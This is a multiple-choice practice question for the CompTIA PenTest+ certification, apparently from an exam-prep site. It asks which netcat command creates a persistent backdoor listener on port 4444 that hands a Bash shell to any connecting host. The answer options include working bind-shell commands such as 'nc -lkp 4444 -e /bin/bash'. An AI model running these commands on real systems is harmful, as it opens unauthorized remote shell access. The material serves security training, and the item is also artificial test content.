CompTIA PenTest+ PT0-002 Practice Question

A penetration tester is tasked with establishing a simple backdoor on a compromised Linux machine to maintain access for future exploitation. The tester has decided to use a commonly available network utility to listen on an arbitrary port for incoming connections. Which of the following commands should the tester use to create a persistent listening backdoor on port 4444 that executes a Bash shell for any connecting IP?

  • nc -lkp 4444 -e /bin/bash

  • nc -lp 4444 -c bash

  • nc -w3 -lp 4444

  • nc -u -l 4444 -e /bin/bash

CompTIA PenTest+ PT0-002
Attacks and Exploits
Your Score:
Settings & Objectives
Random Mixed
Questions are selected randomly from all chosen topics, with a preference for those you haven’t seen before. You may see several questions from the same objective or domain in a row.
Rotate by Objective
Questions cycle through each objective or domain in turn, helping you avoid long streaks of questions from the same area. You may see some repeat questions, but the distribution will be more balanced across topics.

Check or uncheck an objective to set which questions you will receive.

Bash, the Crucial Exams Chat Bot
AI Bot